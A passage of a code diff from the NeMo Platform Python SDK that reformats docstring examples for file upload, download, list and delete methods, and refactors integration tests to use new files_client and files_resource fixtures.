remote_path="data/*.jsonl" - ... ) + >>> sdk.files.list(fileset="my-fileset", remote_path="data/*.jsonl") # Inferred from path >>> sdk.files.list(remote_path="my-fileset#data/") @@ -635,10 +594,7 @@ def delete( Examples: # Delete a file with explicit fileset - >>> sdk.files.delete( - ... fileset="my-fileset", - ... remote_path="data/old-file.txt" - ... ) + >>> sdk.files.delete(fileset="my-fileset", remote_path="data/old-file.txt") # Delete using full path >>> sdk.files.delete(remote_path="my-fileset#data/old-file.txt") @@ -663,10 +619,13 @@ class AsyncFilesResource: For fsspec filesystem access, use ``resource.fsspec``. """ - def __init__(self, client) -> None: - from nemo_platform_plugin.client.adapter import client_from_platform + def __init__(self, client, *, files_client: AsyncFilesClient | None = None) -> None: + if files_client is not None: + self._client = files_client + else: + from nemo_platform_plugin.client.adapter import client_from_platform - self._client = client_from_platform(client, AsyncFilesClient) + self._client = client_from_platform(client, AsyncFilesClient) @cached_property def client(self) -> AsyncFilesClient: @@ -715,37 +674,23 @@ async def download( Examples: # Explicit fileset/workspace >>> await sdk.files.download( - ... fileset="my-fileset", - ... workspace="default", - ... remote_path="data/", - ... local_path="./downloads/" + ... fileset="my-fileset", workspace="default", remote_path="data/", local_path="./downloads/" ... ) # Inferred from path - >>> await sdk.files.download( - ... remote_path="default/my-fileset#data/", - ... local_path="./downloads/" - ... ) + >>> await sdk.files.download(remote_path="default/my-fileset#data/", local_path="./downloads/") # Download files matching a glob pattern - >>> await sdk.files.download( - ... fileset="my-fileset", - ... remote_path="*.json", - ... local_path="./downloads/" - ... ) + >>> await sdk.files.download(fileset="my-fileset", remote_path="*.json", local_path="./downloads/") # Download files matching a pattern in a subdirectory - >>> await sdk.files.download( - ... fileset="my-fileset", - ... remote_path="data/*.jsonl", - ... local_path="./downloads/" - ... ) + >>> await sdk.files.download(fileset="my-fileset", remote_path="data/*.jsonl", local_path="./downloads/") # Download a list of specific files >>> await sdk.files.download( ... fileset="my-fileset", ... remote_path=["config.json", "tokenizer.json", "vocab.txt"], - ... local_path="./downloads/" + ... local_path="./downloads/", ... ) """ # Handle list of paths @@ -830,31 +775,18 @@ async def upload( Examples: # Explicit fileset/workspace >>> await sdk.files.upload( - ... fileset="my-fileset", - ... workspace="default", - ... local_path="./data/", - ... remote_path="uploads/" + ... fileset="my-fileset", workspace="default", local_path="./data/", remote_path="uploads/" ... ) # Inferred from path - >>> await sdk.files.upload( - ... local_path="./file.txt", - ... remote_path="default/my-fileset#file.txt" - ... ) + >>> await sdk.files.upload(local_path="./file.txt", remote_path="default/my-fileset#file.txt") # Auto-create fileset with specified name - >>> fileset = await sdk.files.upload( - ... local_path="./data/", - ... fileset="new-fileset", - ... fileset_auto_create=True - ... ) + >>> fileset = await sdk.files.upload(local_path="./data/", fileset="new-fileset", fileset_auto_create=True) >>> print(f"Uploaded to: {fileset.name}") # Auto-create fileset with generated name - >>> fileset = await sdk.files.upload( - ... local_path="./data/", - ... fileset_auto_create=True - ... ) + >>> fileset = await sdk.files.upload(local_path="./data/", fileset_auto_create=True) >>> print(f"Uploaded to: {fileset.name}") # e.g., "fileset-a1b2c3d4" """ ws, path_fileset, path = parse_fileset_path( @@ -1013,10 +945,12 @@ async def download_content( >>> data = json.loads(content) # Get text content - >>> text = (await sdk.files.download_content( - ... remote_path="readme.txt", - ... fileset="my-fileset", - ... )).decode("utf-8") + >>> text = ( + ... await sdk.files.download_content( + ... remote_path="readme.txt", + ... fileset="my-fileset", + ... ) + ... ).decode("utf-8") """ ws, path_fileset, path = parse_fileset_path(remote_path, workspace_fallback=workspace or self._client.workspace) fileset = fileset or path_fileset @@ -1059,22 +993,13 @@ async def list( ... print(f"{f.path}: {f.size} bytes") # List files in a subdirectory - >>> await sdk.files.list( - ... fileset="my-fileset", - ... remote_path="data/" - ... ) + >>> await sdk.files.list(fileset="my-fileset", remote_path="data/") # List files matching a glob pattern - >>> await sdk.files.list( - ... fileset="my-fileset", - ... remote_path="*.json" - ... ) + >>> await sdk.files.list(fileset="my-fileset", remote_path="*.json") # List files matching a pattern in a subdirectory - >>> await sdk.files.list( - ... fileset="my-fileset", - ... remote_path="data/*.jsonl" - ... ) + >>> await sdk.files.list(fileset="my-fileset", remote_path="data/*.jsonl") # Inferred from path >>> await sdk.files.list(remote_path="my-fileset#data/") @@ -1133,10 +1058,7 @@ async def delete( Examples: # Delete a file with explicit fileset - >>> await sdk.files.delete( - ... fileset="my-fileset", - ... remote_path="data/old-file.txt" - ... ) + >>> await sdk.files.delete(fileset="my-fileset", remote_path="data/old-file.txt") # Delete using full path >>> await sdk.files.delete(remote_path="my-fileset#data/old-file.txt") diff --git a/sdk/python/nemo-platform/tests/vendored/nemo_platform_ext/cli/integration/conftest.py b/sdk/python/nemo-platform/tests/vendored/nemo_platform_ext/cli/integration/conftest.py index b63b7239a3..713058f8c9 100644 --- a/sdk/python/nemo-platform/tests/vendored/nemo_platform_ext/cli/integration/conftest.py +++ b/sdk/python/nemo-platform/tests/vendored/nemo_platform_ext/cli/integration/conftest.py @@ -12,17 +12,20 @@ import os import uuid -from pathlib import Path from typing import Generator +from pathlib import Path import pytest +from nmp.testing import create_test_client from click.testing import Result +from typer.testing import CliRunner +from starlette.testclient import TestClient +from nmp.core.files.service import FilesService +from nemo_platform_plugin.files.client import FilesClient +from nemo_platform_plugin.client.adapter import client_from_platform + from nemo_platform import NeMoPlatform from nemo_platform.cli.core.context import CLIContext -from nmp.core.files.service import FilesService -from nmp.testing import create_test_client -from starlette.testclient import TestClient -from typer.testing import CliRunner DEFAULT_WORKSPACE = "default" @@ -40,6 +43,12 @@ def sdk(http_client: TestClient) -> NeMoPlatform: return NeMoPlatform(base_url="http://testserver", http_client=http_client) +@pytest.fixture(scope="module") +def files_client(sdk: NeMoPlatform) -> FilesClient: + """Provide a FilesClient derived from the SDK.""" + return client_from_platform(sdk, FilesClient) + + @pytest.fixture def random_workspace(sdk: NeMoPlatform) -> str: """ diff --git a/sdk/python/nemo-platform/tests/vendored/nemo_platform_ext/cli/integration/test_filesets.py b/sdk/python/nemo-platform/tests/vendored/nemo_platform_ext/cli/integration/test_filesets.py index 6b279d8e32..69374cfb8e 100644 --- a/sdk/python/nemo-platform/tests/vendored/nemo_platform_ext/cli/integration/test_filesets.py +++ b/sdk/python/nemo-platform/tests/vendored/nemo_platform_ext/cli/integration/test_filesets.py @@ -6,21 +6,23 @@ from pathlib import Path import pytest +from nemo_platform_plugin.files.types import CreateFilesetRequest +from nemo_platform_plugin.files.client import FilesClient +from nemo_platform_plugin.client.adapter import client_from_platform + from nemo_platform import NeMoPlatform from nemo_platform.cli.app import app -from nemo_platform_plugin.client.adapter import client_from_platform -from nemo_platform_plugin.files.client import FilesClient -from nemo_platform_plugin.files.types import CreateFilesetRequest from ..utils import assert_exit_code from .conftest import NmpCliRunner @pytest.fixture -def test_fileset(sdk: NeMoPlatform, random_workspace: str) -> dict: +def test_fileset(files_client: FilesClient, random_workspace: str) -> dict: """Create a test fileset.""" - files = client_from_platform(sdk, FilesClient) - fileset = files.create_fileset(body=CreateFilesetRequest(name="test-fileset"), workspace=random_workspace).data() + fileset = files_client.create_fileset( + body=CreateFilesetRequest(name="test-fileset"), workspace=random_workspace + ).data() return {"workspace": random_workspace, "name": fileset.name} @@ -214,7 +216,9 @@ def test_upload_without_fileset_auto_creates( @pytest.fixture -def fileset_with_nested_files(sdk: NeMoPlatform, random_workspace: str, tmp_path: Path) -> dict: +def fileset_with_nested_files( + sdk: NeMoPlatform, files_client: FilesClient, random_workspace: str, tmp_path: Path +) -> dict: """Create a fileset with nested file structure for download tests. Structure: @@ -224,8 +228,9 @@ def fileset_with_nested_files(sdk: NeMoPlatform, random_workspace: str, tmp_path file2.txt file3.txt """ - files = client_from_platform(sdk, FilesClient) - fileset = files.create_fileset(body=CreateFilesetRequest(name="download-test-fileset"), workspace=random_workspace).data() + fileset = files_client.create_fileset( + body=CreateFilesetRequest(name="download-test-fileset"), workspace=random_workspace + ).data() # Create nested directory structure locally dir_a = tmp_path / "a" diff --git a/services/core/files/src/nmp/core/files/testing/utils.py b/services/core/files/src/nmp/core/files/testing/utils.py index 4b328ef7cf..523b89b26a 100644 --- a/services/core/files/src/nmp/core/files/testing/utils.py +++ b/services/core/files/src/nmp/core/files/testing/utils.py @@ -121,4 +121,4 @@ def create_fileset( body=CreateFilesetRequest(name=name, description="Test fileset", **kwargs), ).data() yield fileset - files.delete_fileset(name, workspace=workspace) + files.delete_fileset(name=name, workspace=workspace) diff --git a/services/core/files/tests/integration/conftest.py b/services/core/files/tests/integration/conftest.py index 8c91018295..cd300f0a44 100644 --- a/services/core/files/tests/integration/conftest.py +++ b/services/core/files/tests/integration/conftest.py @@ -15,6 +15,7 @@ from fastapi import Request from fastapi.testclient import TestClient from nemo_platform import NeMoPlatform +from nemo_platform.filesets.resources import FilesResource from nemo_platform_plugin.client.adapter import client_from_platform from nemo_platform_plugin.files.client import FilesClient from nemo_platform_plugin.files.types import FilesetOutput @@ -108,6 +109,18 @@ def sdk() -> Iterator[NeMoPlatform]: yield sdk +@pytest.fixture +def files_client(sdk: NeMoPlatform) -> FilesClient: + """Provide a FilesClient derived from the SDK.""" + return client_from_platform(sdk, FilesClient) + + +@pytest.fixture +def files_resource(files_client: FilesClient) -> FilesResource: + """Provide a FilesResource backed by the test FilesClient.""" + return FilesResource(None, files_client=files_client) + + @pytest.fixture def sdk_allow_user_local_storage(tmp_path) -> Iterator[NeMoPlatform]: """SDK client with allow_user_local_storage enabled.""" @@ -149,7 +162,7 @@ def fileset(sdk: NeMoPlatform) -> Iterator[FilesetOutput]: @pytest.fixture -def fileset_cleanup(sdk: NeMoPlatform) -> Iterator[Callable[[str], None]]: +def fileset_cleanup(sdk: NeMoPlatform, files_client: FilesClient) -> Iterator[Callable[[str], None]]: """Fixture that provides a function to register filesets for cleanup. Usage: @@ -166,11 +179,9 @@ def register(name: str, ws: str | None = None) -> None: yield register - # Cleanup all registered filesets - files = client_from_platform(sdk, FilesClient) for name, ws in to_cleanup: try: - files.delete_fileset(name=name, workspace=ws) + files_client.delete_fileset(name=name, workspace=ws) except Exception: pass diff --git a/services/core/files/tests/integration/test_files_basic.py b/services/core/files/tests/integration/test_files_basic.py index 34661cea3f..267361b223 100644 --- a/services/core/files/tests/integration/test_files_basic.py +++ b/services/core/files/tests/integration/test_files_basic.py @@ -39,7 +39,7 @@ class TestFilesBasic: def test_fileset_get(self, sdk: NeMoPlatform): files = client_from_platform(sdk, FilesClient) with create_fileset(sdk) as fileset: - fetched = files.get_fileset(fileset.name, workspace=fileset.workspace).data() + fetched = files.get_fileset(name=fileset.name, workspace=fileset.workspace).data() assert fetched.id == fileset.id assert fetched.name == fileset.name diff --git a/services/core/files/tests/integration/test_files_sdk.py b/services/core/files/tests/integration/test_files_sdk.py index 8a09cdc661..35e3b79014 100644 --- a/services/core/files/tests/integration/test_files_sdk.py +++ b/services/core/files/tests/integration/test_files_sdk.py @@ -1,15 +1,15 @@ # SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. # SPDX-License-Identifier: Apache-2.0 -"""Integration tests for the high-level files SDK (sdk.files.*). +"""Integration tests for the high-level FilesResource. These tests verify: -- sdk.files.upload() - Upload files/directories -- sdk.files.upload_content() - Upload in-memory data -- sdk.files.download() - Download files/directories -- sdk.files.download_content() - Download file content to memory -- sdk.files.list() - List files with FilesetFileOutput objects -- sdk.files.delete() - Delete files +- files_resource.upload() - Upload files/directories +- files_resource.upload_content() - Upload in-memory data +- files_resource.download() - Download files/directories +- files_resource.download_content() - Download file content to memory +- files_resource.list() - List files with FilesetFileOutput objects +- files_resource.delete() - Delete files - fileset_auto_create parameter for upload operations Uses the create_test_client pattern for fast in-memory testing. @@ -23,8 +23,10 @@ from pathlib import Path import pytest -from nemo_platform import NeMoPlatform, NotFoundError, PermissionDeniedError +from nemo_platform import NeMoPlatform +from nemo_platform.filesets.resources import FilesResource from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.client.errors import NotFoundError, PermissionDeniedError from nemo_platform_plugin.files.client import FilesClient from nemo_platform_plugin.files.types import ( CreateFilesetRequest, @@ -36,14 +38,14 @@ class TestFilesUpload: - """Tests for sdk.files.upload().""" + """Tests for files_resource.upload().""" - def test_upload_single_file(self, sdk: NeMoPlatform, fileset: FilesetOutput, tmp_path: Path): + def test_upload_single_file(self, files_resource: FilesResource, fileset: FilesetOutput, tmp_path: Path): """Test uploading a single file.""" local_file = tmp_path / "upload.txt" local_file.write_text("Hello, World!") - sdk.files.upload( + files_resource.upload( fileset=fileset.name, workspace=fileset.workspace, local_path=str(local_file), @@ -51,12 +53,12 @@ def test_upload_single_file(self, sdk: NeMoPlatform, fileset: FilesetOutput, tmp ) # Verify file was uploaded - files = sdk.files.list(fileset=fileset.name, workspace=fileset.workspace) + files = files_resource.list(fileset=fileset.name, workspace=fileset.workspace) assert len(files.data) == 1 assert files.data[0].path == "test.txt" assert files.data[0].size == len("Hello, World!") - def test_upload_directory_contents_with_trailing_slash(self, sdk: NeMoPlatform, fileset: FilesetOutput): + def test_upload_directory_contents_with_trailing_slash(self, files_resource: FilesResource, fileset: FilesetOutput): """Test uploading directory contents (trailing slash on local_path). With trailing slash: `upload("mydir/")` copies the CONTENTS of mydir. @@ -72,7 +74,7 @@ def test_upload_directory_contents_with_trailing_slash(self, sdk: NeMoPlatform, Path(subdir, "file3.txt").write_text("content3") # Upload with trailing slash - copies CONTENTS - sdk.files.upload( + files_resource.upload( fileset=fileset.name, workspace=fileset.workspace, local_path=f"{mydir}/", @@ -80,14 +82,16 @@ def test_upload_directory_contents_with_trailing_slash(self, sdk: NeMoPlatform, ) # Verify files are at root (not under mydir/) - files = sdk.files.list(fileset=fileset.name, workspace=fileset.workspace) + files = files_resource.list(fileset=fileset.name, workspace=fileset.workspace) paths = {f.path for f in files.data} assert "file1.txt" in paths, f"Expected 'file1.txt' in {paths}" assert "subdir/file3.txt" in paths, f"Expected 'subdir/file3.txt' in {paths}" # Should NOT have mydir/ prefix assert not any(p.startswith("mydir/") for p in paths), f"Files should not have 'mydir/' prefix: {paths}" - def test_upload_directory_itself_without_trailing_slash(self, sdk: NeMoPlatform, fileset: FilesetOutput): + def test_upload_directory_itself_without_trailing_slash( + self, files_resource: FilesResource, fileset: FilesetOutput + ): """Test uploading directory itself (no trailing slash on local_path). Without trailing slash: `upload("mydir")` copies the directory ITSELF. @@ -103,7 +107,7 @@ def test_upload_directory_itself_without_trailing_slash(self, sdk: NeMoPlatform, Path(subdir, "file3.txt").write_text("content3") # Upload WITHOUT trailing slash - copies the directory ITSELF - sdk.files.upload( + files_resource.upload( fileset=fileset.name, workspace=fileset.workspace, local_path=str(mydir), @@ -111,38 +115,38 @@ def test_upload_directory_itself_without_trailing_slash(self, sdk: NeMoPlatform, ) # Verify files are under mydir/ prefix - files = sdk.files.list(fileset=fileset.name, workspace=fileset.workspace) + files = files_resource.list(fileset=fileset.name, workspace=fileset.workspace) paths = {f.path for f in files.data} assert "mydir/file1.txt" in paths, f"Expected 'mydir/file1.txt' in {paths}" assert "mydir/subdir/file3.txt" in paths, f"Expected 'mydir/subdir/file3.txt' in {paths}" # Should NOT have files at root assert "file1.txt" not in paths, f"'file1.txt' should not be at root: {paths}" - def test_upload_to_subdirectory(self, sdk: NeMoPlatform, fileset: FilesetOutput, tmp_path: Path): + def test_upload_to_subdirectory(self, files_resource: FilesResource, fileset: FilesetOutput, tmp_path: Path): """Test uploading a file to a subdirectory.""" local_file = tmp_path / "nested.txt" local_file.write_text("nested content") - sdk.files.upload( + files_resource.upload( fileset=fileset.name, workspace=fileset.workspace, local_path=str(local_file), remote_path="a/b/c/nested.txt", ) - files = sdk.files.list(fileset=fileset.name, workspace=fileset.workspace) + files = files_resource.list(fileset=fileset.name, workspace=fileset.workspace) assert len(files.data) == 1 assert files.data[0].path == "a/b/c/nested.txt" class TestFilesDownload: - """Tests for sdk.files.download().""" + """Tests for files_resource.download().""" - def test_download_single_file(self, sdk: NeMoPlatform, fileset: FilesetOutput): + def test_download_single_file(self, files_resource: FilesResource, fileset: FilesetOutput): """Test downloading a single file.""" # First upload a file test_content = b"Download test content" - sdk.files.upload_content( + files_resource.upload_content( content=test_content, remote_path="test.txt", fileset=fileset.name, @@ -150,7 +154,7 @@ def test_download_single_file(self, sdk: NeMoPlatform, fileset: FilesetOutput): ) with tempfile.TemporaryDirectory() as tmpdir: - sdk.files.download( + files_resource.download( fileset=fileset.name, workspace=fileset.workspace, remote_path="test.txt", @@ -160,22 +164,22 @@ def test_download_single_file(self, sdk: NeMoPlatform, fileset: FilesetOutput): downloaded = Path(tmpdir, "downloaded.txt").read_bytes() assert downloaded == test_content - def test_download_directory(self, sdk: NeMoPlatform, fileset: FilesetOutput): + def test_download_directory(self, files_resource: FilesResource, fileset: FilesetOutput): """Test downloading an entire directory.""" # Upload multiple files - sdk.files.upload_content( + files_resource.upload_content( content=b"content1", remote_path="data/file1.txt", fileset=fileset.name, workspace=fileset.workspace, ) - sdk.files.upload_content( + files_resource.upload_content( content=b"content2", remote_path="data/file2.txt", fileset=fileset.name, workspace=fileset.workspace, ) - sdk.files.upload_content( + files_resource.upload_content( content=b"content3", remote_path="data/nested/file3.txt", fileset=fileset.name, @@ -183,7 +187,7 @@ def test_download_directory(self, sdk: NeMoPlatform, fileset: FilesetOutput): ) with tempfile.TemporaryDirectory() as tmpdir: - sdk.files.download( + files_resource.download( fileset=fileset.name, workspace=fileset.workspace, remote_path="data/", @@ -195,20 +199,20 @@ def test_download_directory(self, sdk: NeMoPlatform, fileset: FilesetOutput): assert Path(tmpdir, "file2.txt").read_bytes() == b"content2" assert Path(tmpdir, "nested/file3.txt").read_bytes() == b"content3" - def test_download_entire_fileset(self, sdk: NeMoPlatform, fileset: FilesetOutput): + def test_download_entire_fileset(self, files_resource: FilesResource, fileset: FilesetOutput): """Test downloading all files from a fileset using default remote_path. Downloading a fileset copies contents directly. Users who want a subfolder can include the fileset name in local_path. """ # Upload files at root - sdk.files.upload_content( + files_resource.upload_content( content=b"root content", remote_path="root.txt", fileset=fileset.name, workspace=fileset.workspace, ) - sdk.files.upload_content( + files_resource.upload_content( content=b"nested content", remote_path="subdir/nested.txt", fileset=fileset.name, @@ -218,7 +222,7 @@ def test_download_entire_fileset(self, sdk: NeMoPlatform, fileset: FilesetOutput with tempfile.TemporaryDirectory() as tmpdir: # Download everything (remote_path defaults to "") # Contents are copied directly to local_path - sdk.files.download( + files_resource.download( fileset=fileset.name, workspace=fileset.workspace, local_path=f"{tmpdir}/", @@ -231,24 +235,24 @@ def test_download_entire_fileset(self, sdk: NeMoPlatform, fileset: FilesetOutput class TestFilesList: - """Tests for sdk.files.list().""" + """Tests for files_resource.list().""" - def test_list_empty_fileset(self, sdk: NeMoPlatform, fileset: FilesetOutput): + def test_list_empty_fileset(self, files_resource: FilesResource, fileset: FilesetOutput): """Test listing files in an empty fileset.""" - files = sdk.files.list(fileset=fileset.name, workspace=fileset.workspace) + files = files_resource.list(fileset=fileset.name, workspace=fileset.workspace) assert files.data == [] - def test_list_returns_fileset_file_objects(self, sdk: NeMoPlatform, fileset: FilesetOutput): + def test_list_returns_fileset_file_objects(self, files_resource: FilesResource, fileset: FilesetOutput): """Test that list returns FilesetFileOutput objects with correct attributes.""" content = b"test content for size check" - sdk.files.upload_content( + files_resource.upload_content( content=content, remote_path="test.txt", fileset=fileset.name, workspace=fileset.workspace, ) - files = sdk.files.list(fileset=fileset.name, workspace=fileset.workspace) + files = files_resource.list(fileset=fileset.name, workspace=fileset.workspace) assert len(files.data) == 1 file = files.data[0] @@ -257,28 +261,28 @@ def test_list_returns_fileset_file_objects(self, sdk: NeMoPlatform, fileset: Fil assert file.file_ref == f"{fileset.workspace}/{fileset.name}#test.txt" assert file.file_url == f"/apis/files/v2/workspaces/{fileset.workspace}/filesets/{fileset.name}/-/test.txt" - def test_list_multiple_files(self, sdk: NeMoPlatform, fileset: FilesetOutput): + def test_list_multiple_files(self, files_resource: FilesResource, fileset: FilesetOutput): """Test listing multiple files.""" - sdk.files.upload_content( + files_resource.upload_content( content=b"a", remote_path="file1.txt", fileset=fileset.name, workspace=fileset.workspace, ) - sdk.files.upload_content( + files_resource.upload_content( content=b"bb", remote_path="file2.txt", fileset=fileset.name, workspace=fileset.workspace, ) - sdk.files.upload_content( + files_resource.upload_content( content=b"ccc", remote_path="dir/file3.txt", fileset=fileset.name, workspace=fileset.workspace, ) - files = sdk.files.list(fileset=fileset.name, workspace=fileset.workspace) + files = files_resource.list(fileset=fileset.name, workspace=fileset.workspace) assert len(files.data) == 3 paths = {f.path for f in files.data} @@ -289,27 +293,27 @@ def test_list_multiple_files(self, sdk: NeMoPlatform, fileset: FilesetOutput): assert sizes["file2.txt"] == 2 assert sizes["dir/file3.txt"] == 3 - def test_list_subdirectory(self, sdk: NeMoPlatform, fileset: FilesetOutput): + def test_list_subdirectory(self, files_resource: FilesResource, fileset: FilesetOutput): """Test listing files in a subdirectory.""" - sdk.files.upload_content( + files_resource.upload_content( content=b"root", remote_path="root.txt", fileset=fileset.name, workspace=fileset.workspace, ) - sdk.files.upload_content( + files_resource.upload_content( content=b"data1", remote_path="data/file1.txt", fileset=fileset.name, workspace=fileset.workspace, ) - sdk.files.upload_content( + files_resource.upload_content( content=b"data2", remote_path="data/file2.txt", fileset=fileset.name, workspace=fileset.workspace, ) - sdk.files.upload_content( + files_resource.upload_content( content=b"other", remote_path="other/file.txt", fileset=fileset.name, @@ -317,7 +321,7 @@ def test_list_subdirectory(self, sdk: NeMoPlatform, fileset: FilesetOutput): ) # List only data/ directory - files = sdk.files.list( + files = files_resource.list( fileset=fileset.name, workspace=fileset.workspace, remote_path="data/", @@ -326,9 +330,9 @@ def test_list_subdirectory(self, sdk: NeMoPlatform, fileset: FilesetOutput): paths = {f.path for f in files.data} assert paths == {"data/file1.txt", "data/file2.txt"} - def test_list_with_path_format(self, sdk: NeMoPlatform, fileset: FilesetOutput): + def test_list_with_path_format(self, files_resource: FilesResource, fileset: FilesetOutput): """Test listing using full path format instead of explicit fileset param.""" - sdk.files.upload_content( + files_resource.upload_content( content=b"content", remote_path="test.txt", fileset=fileset.name, @@ -336,34 +340,34 @@ def test_list_with_path_format(self, sdk: NeMoPlatform, fileset: FilesetOutput): ) # Use the new path format: workspace/fileset#path - files = sdk.files.list( + files = files_resource.list( remote_path=f"{fileset.workspace}/{fileset.name}#", ) assert len(files.data) == 1 assert files.data[0].path == "test.txt" - def test_list_with_glob_pattern(self, sdk: NeMoPlatform, fileset: FilesetOutput): + def test_list_with_glob_pattern(self, files_resource: FilesResource, fileset: FilesetOutput): """Test listing files matching a glob pattern.""" - sdk.files.upload_content( + files_resource.upload_content( content=b"json", remote_path="data.json", fileset=fileset.name, workspace=fileset.workspace, ) - sdk.files.upload_content( + files_resource.upload_content( content=b"config", remote_path="config.json", fileset=fileset.name, workspace=fileset.workspace, ) - sdk.files.upload_content( + files_resource.upload_content( content=b"readme", remote_path="readme.txt", fileset=fileset.name, workspace=fileset.workspace, ) - sdk.files.upload_content( + files_resource.upload_content( content=b"nested", remote_path="subdir/nested.json", fileset=fileset.name, @@ -371,7 +375,7 @@ def test_list_with_glob_pattern(self, sdk: NeMoPlatform, fileset: FilesetOutput) ) # List only .json files at root level - files = sdk.files.list( + files = files_resource.list( fileset=fileset.name, workspace=fileset.workspace, remote_path="*.json", @@ -380,27 +384,27 @@ def test_list_with_glob_pattern(self, sdk: NeMoPlatform, fileset: FilesetOutput) paths = {f.path for f in files.data} assert paths == {"data.json", "config.json"} - def test_list_with_glob_pattern_in_subdirectory(self, sdk: NeMoPlatform, fileset: FilesetOutput): + def test_list_with_glob_pattern_in_subdirectory(self, files_resource: FilesResource, fileset: FilesetOutput): """Test listing files matching a glob pattern in a subdirectory.""" - sdk.files.upload_content( + files_resource.upload_content( content=b"train", remote_path="data/train.jsonl", fileset=fileset.name, workspace=fileset.workspace, ) - sdk.files.upload_content( + files_resource.upload_content( content=b"val", remote_path="data/val.jsonl", fileset=fileset.name, workspace=fileset.workspace, ) - sdk.files.upload_content( + files_resource.upload_content( content=b"yaml", remote_path="data/config.yaml", fileset=fileset.name, workspace=fileset.workspace, ) - sdk.files.upload_content( + files_resource.upload_content( content=b"other", remote_path="other/file.jsonl", fileset=fileset.name, @@ -408,7 +412,7 @@ def test_list_with_glob_pattern_in_subdirectory(self, sdk: NeMoPlatform, fileset ) # List only .jsonl files in data/ directory - files = sdk.files.list( + files = files_resource.list( fileset=fileset.name, workspace=fileset.workspace, remote_path="data/*.jsonl", @@ -419,23 +423,23 @@ def test_list_with_glob_pattern_in_subdirectory(self, sdk: NeMoPlatform, fileset class TestFilesGlobDownload: - """Tests for sdk.files.download() with glob patterns.""" + """Tests for files_resource.download() with glob patterns.""" - def test_download_with_glob_pattern(self, sdk: NeMoPlatform, fileset: FilesetOutput, tmp_path): + def test_download_with_glob_pattern(self, files_resource: FilesResource, fileset: FilesetOutput, tmp_path): """Test downloading files matching a glob pattern.""" - sdk.files.upload_content( + files_resource.upload_content( content=b"json content", remote_path="data.json", fileset=fileset.name, workspace=fileset.workspace, ) - sdk.files.upload_content( + files_resource.upload_content( content=b"config content", remote_path="config.json", fileset=fileset.name, workspace=fileset.workspace, ) - sdk.files.upload_content( + files_resource.upload_content( content=b"readme content", remote_path="readme.txt", fileset=fileset.name, @@ -443,7 +447,7 @@ def test_download_with_glob_pattern(self, sdk: NeMoPlatform, fileset: FilesetOut ) # Download only .json files - sdk.files.download( + files_resource.download( fileset=fileset.name, workspace=fileset.workspace, remote_path="*.json", @@ -459,21 +463,23 @@ def test_download_with_glob_pattern(self, sdk: NeMoPlatform, fileset: FilesetOut assert (tmp_path / "data.json").read_bytes() == b"json content" assert (tmp_path / "config.json").read_bytes() == b"config content" - def test_download_with_glob_pattern_preserves_structure(self, sdk: NeMoPlatform, fileset: FilesetOutput, tmp_path): + def test_download_with_glob_pattern_preserves_structure( + self, files_resource: FilesResource, fileset: FilesetOutput, tmp_path + ): """Test that downloading with glob pattern preserves directory structure.""" - sdk.files.upload_content( + files_resource.upload_content( content=b"train data", remote_path="data/train.jsonl", fileset=fileset.name, workspace=fileset.workspace, ) - sdk.files.upload_content( + files_resource.upload_content( content=b"val data", remote_path="data/val.jsonl", fileset=fileset.name, workspace=fileset.workspace, ) - sdk.files.upload_content( + files_resource.upload_content( content=b"yaml", remote_path="data/config.yaml", fileset=fileset.name, @@ -481,7 +487,7 @@ def test_download_with_glob_pattern_preserves_structure(self, sdk: NeMoPlatform, ) # Download only .jsonl files from data/ - sdk.files.download( + files_resource.download( fileset=fileset.name, workspace=fileset.workspace, remote_path="data/*.jsonl", @@ -499,11 +505,11 @@ def test_download_with_glob_pattern_preserves_structure(self, sdk: NeMoPlatform, class TestFilesDelete: - """Tests for sdk.files.delete().""" + """Tests for files_resource.delete().""" - def test_delete_single_file(self, sdk: NeMoPlatform, fileset: FilesetOutput): + def test_delete_single_file(self, files_resource: FilesResource, fileset: FilesetOutput): """Test deleting a single file.""" - sdk.files.upload_content( + files_resource.upload_content( content=b"delete me", remote_path="to_delete.txt", fileset=fileset.name, @@ -511,41 +517,41 @@ def test_delete_single_file(self, sdk: NeMoPlatform, fileset: FilesetOutput): ) # Verify file exists - files = sdk.files.list(fileset=fileset.name, workspace=fileset.workspace) + files = files_resource.list(fileset=fileset.name, workspace=fileset.workspace) assert len(files.data) == 1 # Delete the file - sdk.files.delete( + files_resource.delete( fileset=fileset.name, workspace=fileset.workspace, remote_path="to_delete.txt", ) # Verify file was deleted - files = sdk.files.list(fileset=fileset.name, workspace=fileset.workspace) + files = files_resource.list(fileset=fileset.name, workspace=fileset.workspace) assert len(files.data) == 0 - def test_delete_nested_file(self, sdk: NeMoPlatform, fileset: FilesetOutput): + def test_delete_nested_file(self, files_resource: FilesResource, fileset: FilesetOutput): """Test deleting a file in a nested directory.""" - sdk.files.upload_content( + files_resource.upload_content( content=b"nested", remote_path="a/b/c/nested.txt", fileset=fileset.name, workspace=fileset.workspace, ) - sdk.files.delete( + files_resource.delete( fileset=fileset.name, workspace=fileset.workspace, remote_path="a/b/c/nested.txt", ) - files = sdk.files.list(fileset=fileset.name, workspace=fileset.workspace) + files = files_resource.list(fileset=fileset.name, workspace=fileset.workspace) assert len(files.data) == 0 - def test_delete_with_path_format(self, sdk: NeMoPlatform, fileset: FilesetOutput): + def test_delete_with_path_format(self, files_resource: FilesResource, fileset: FilesetOutput): """Test deleting using full path format.""" - sdk.files.upload_content( + files_resource.upload_content( content=b"content", remote_path="test.txt", fileset=fileset.name, @@ -553,18 +559,18 @@ def test_delete_with_path_format(self, sdk: NeMoPlatform, fileset: FilesetOutput ) # Delete using the new path format - sdk.files.delete( + files_resource.delete( remote_path=f"{fileset.workspace}/{fileset.name}#test.txt", ) - files = sdk.files.list(fileset=fileset.name, workspace=fileset.workspace) + files = files_resource.list(fileset=fileset.name, workspace=fileset.workspace) assert len(files.data) == 0 class TestFilesRoundTrip: """End-to-end tests combining multiple operations.""" - def test_upload_list_download_delete_cycle(self, sdk: NeMoPlatform, fileset: FilesetOutput): + def test_upload_list_download_delete_cycle(self, files_resource: FilesResource, fileset: FilesetOutput): """Test a complete cycle of file operations.""" with tempfile.TemporaryDirectory() as tmpdir: # Create local files @@ -574,7 +580,7 @@ def test_upload_list_download_delete_cycle(self, sdk: NeMoPlatform, fileset: Fil Path(local_dir, "config.yaml").write_text("setting: true") # Upload - sdk.files.upload( + files_resource.upload( fileset=fileset.name, workspace=fileset.workspace, local_path=f"{local_dir}/", @@ -582,7 +588,7 @@ def 